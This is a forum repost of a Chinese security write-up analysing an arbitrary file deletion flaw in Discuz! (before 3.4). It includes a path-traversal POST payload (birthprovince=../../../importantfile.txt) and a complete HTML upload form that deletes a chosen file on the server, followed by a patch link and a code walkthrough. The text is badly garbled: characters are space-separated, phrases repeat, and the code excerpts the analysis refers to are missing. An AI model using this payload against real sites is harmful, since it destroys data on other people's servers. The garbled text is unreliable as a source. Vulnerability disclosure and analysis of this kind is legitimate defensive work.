搜索

[11865] 2017-10-07_Discuz!任意文件删除漏洞重现及分析

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2017-10-07_Discuz!任意文件删除漏洞重现及分析 D i s c u z !   任 意 文 件 删 除 漏 洞 重 现 及 分 析 L S A   F r e e B u f   2 0 1 7 - 1 0 - 0 7 0 x 0 0   概 述 9 月 月 2 9 日 ， 日 ， D i s c u z 修 复 了 修 复 了 一 个 前 台 任 意 文 件 删 除 的 漏 洞 ， 相 似 的 漏 洞 曾 在 一 个 前 台 任 意 文 件 删 除 的 漏 洞 ， 相 似 的 漏 洞 曾 在 2 0 1 4 年 被 提 交 给 年 被 提 交 给 w o o y u n 和 和 d i s c u z 官 方 ， 但 是 修 复 不 完 全 导 官 方 ， 但 是 修 复 不 完 全 导 致 了 这 次 的 漏 洞 。 致 了 这 次 的 漏 洞 。 （ 文 中 链 接 请 阅 读 原 文 查 看 ） （ 文 中 链 接 请 阅 读 原 文 查 看 ） 0 x 0 1   影 响 范 围 影 响 范 围 D i s c u z   <   3 . 4 0 x 0 2   漏 洞 重 现 漏 洞 重 现 环 境 ： w i n 7 + p h p s t u d y + d i s c u z 3 . 2 新 建 i m p o r t a n t f i l e . t x t 作 为 测 试 进 入 设 置 - 个 人 资 料 ， 先 在 页 面 源 代 码 找 到 f o r m h a s h 值 h t t p : / / 1 0 . 0 . 2 . 1 5 : 8 9 9 9 / d i s c u z 3 _ 2 / h o m e . p h p ? m o d = s p a c e c p & a c = p r o f i l e 可 以 看 到 f o r m h a s h 值 是 b 2 1 b 6 5 7 7 。 再 访 问 1 0 . 0 . 2 . 1 5 : 8 9 9 9 / d i s c u z 3 _ 2 / h o m e . p h p ? m o d = s p a c e c p & a c = p r o f i l e & o p = b a s e P o s t 数 据 ： b i r t h p r o v i n c e = . . / . . / . . / i m p o r t a n t f i l e . t x t & p r o f i l e s u b m i t = 1 & f o r m h a s h = b 2 1 b 6 5 7 7 如 图 执 行 后 出 生 地 被 修 改 成 要 删 除 的 文 件 。 最 后 构 造 表 单 执 行 删 除 文 件 随 便 上 传 一 张 图 片 ， 即 可 删 除 i m p o r t a n t f i l e . t x t 成 功 删 除 i m p o r t a n t f i l e . t x t ， 重 现 成 功 ！ 0 x 0 3   修 复 方 案 修 复 方 案 h t t p s : / / g i t e e . c o m / C o m s e n z D i s c u z / D i s c u z X / c o m m i t / 7 d 6 0 3 a 1 9 7 c 2 7 1 7 e f 1 d 7 e 9 b a 6 5 4 c f 7 2 a a 4 2 d 3 e 5 7 4 删 除 u n l i n k 相 关 代 码 。 0 x 0 4   漏 洞 分 析 漏 洞 分 析 根 据 补 丁 ， 漏 洞 存 在 于 u p l o a d / s o u r c e / i n c l u d e / s p a c e c p / s p a c e c p _ p r o f i l e . p h p 。 < f o r m   a c t i o n = ” h t t p : / / 1 0 . 0 . 2 . 1 5 : 8 9 9 9 / d i s c u z 3 _ 2 / h o m e . p h p ? m o d = s p a c e c p & a c = p r o f i l e & o p = b a s e ”   m e t h o d = ” P O S T ”   e n c t y p e = ” m u l t i p a r t / f o r m - d a t a ” > < i n p u t   t y p e = ” f i l e ”   n a m e = ” b i r t h p r o v i n c e ”   i d = ” f i l e ”   / > < i n p u t   t y p e = ” t e x t ”   n a m e = ” f o r m h a s h ”   v a l u e = ” b 2 1 b 6 5 7 7 ″ / > < / p > < i n p u t   t y p e = ” t e x t ”   n a m e = ” p r o f i l e s u b m i t ”   v a l u e = ” 1 ″ / > < / p > < i n p u t   t y p e = ” s u b m i t ”   v a l u e = ” S u b m i t ”   / > < / f r o m >
先 看 第 7 0 行 提 交 1 进 入 这 个 判 断 。 来 到 2 2 0 行 ， 补 丁 前 ： 往 上 看 来 到 ： 可 以 看 出 文 件 上 传 成 功 就 可 以 进 入 2 2 8 行 的 u n l i n k 从 而 删 除 指 定 文 件 。 现 在 就 看 如 何 控 制 指 定 文 件 ， 也 就 是 控 制 k e y ] 这 个 变 量 。 继 续 往 上 看 来 到 ： 可 以 看 出 s p a c e 存 用 户 资 料 ， 就 可 以 利 用 s p a c e [ b i r t h p r o v i n c e ] 存 要 删 除 的 文 件 。 那 如 何 修 改 b i r t h p r o v i n c e 为 指 定 文 件 呢 ， 直 接 p o s t 提 交 就 绕 过 限 制 了 。 总 结 整 个 漏 洞 利 用 流 程 ： 总 结 整 个 漏 洞 利 用 流 程 ： 修 改 b i r t h p r o v i n c e - > 上 传 图 片 - > 执 行 u n l i n k - > 删 除 任 意 文 件 0 x 0 5   结 语 结 语 删 文 件 … … ， 大 家 不 要 乱 搞 ， 该 补 的 赶 紧 补 ， d i s c u z 树 大 招 风 ， 2 0 1 4 的 补 丁 又 不 补 完 全 ， 正 是 这 样 攻 与 防 的 不 断 博 弈 ， 使 安 全 界 生 机 勃 勃 ， 妙 趣 横 生 ， 也 使 互 联 网 愈 发 安 全 稳 固 。 0 x 0 6   参 考 资 料 参 考 资 料 h t t p s : / / w w w . s e e b u g . o r g / v u l d b / s s v i d - 9 6 6 0 8 h t t p s : / / w w w . s e e b u g . o r g / v u l d b / s s v i d - 9 3 5 8 8 h t t p s : / / g i t e e . c o m / C o m s e n z D i s c u z / D i s c u z X / c o m m i t / 7 d 6 0 3 a 1 9 7 c 2 7 1 7 e f 1 d 7 e 9 b a 6 5 4 c f 7 2 a a 4 2 d 3 e 5 7 4 h t t p s : / / g i t e e . c o m / C o m s e n z D i s c u z / D i s c u z X / b l o b / 7 d 6 0 3 a 1 9 7 c 2 7 1 7 e f 1 d 7 e 9 b a 6 5 4 c f 7 2 a a 4 2 d 3 e 5 7 4 / u p l o a d / s o u r c e / i n c l u d e / s p a c e c p / s p a c e c p _ p r o f i l e . p h p * 本 文 作 者 ： 本 文 作 者 ： L S A ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M i f ( s u b m i t c h e c k ( ‘ p r o f i l e s u b m i t ’ ) )   {
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理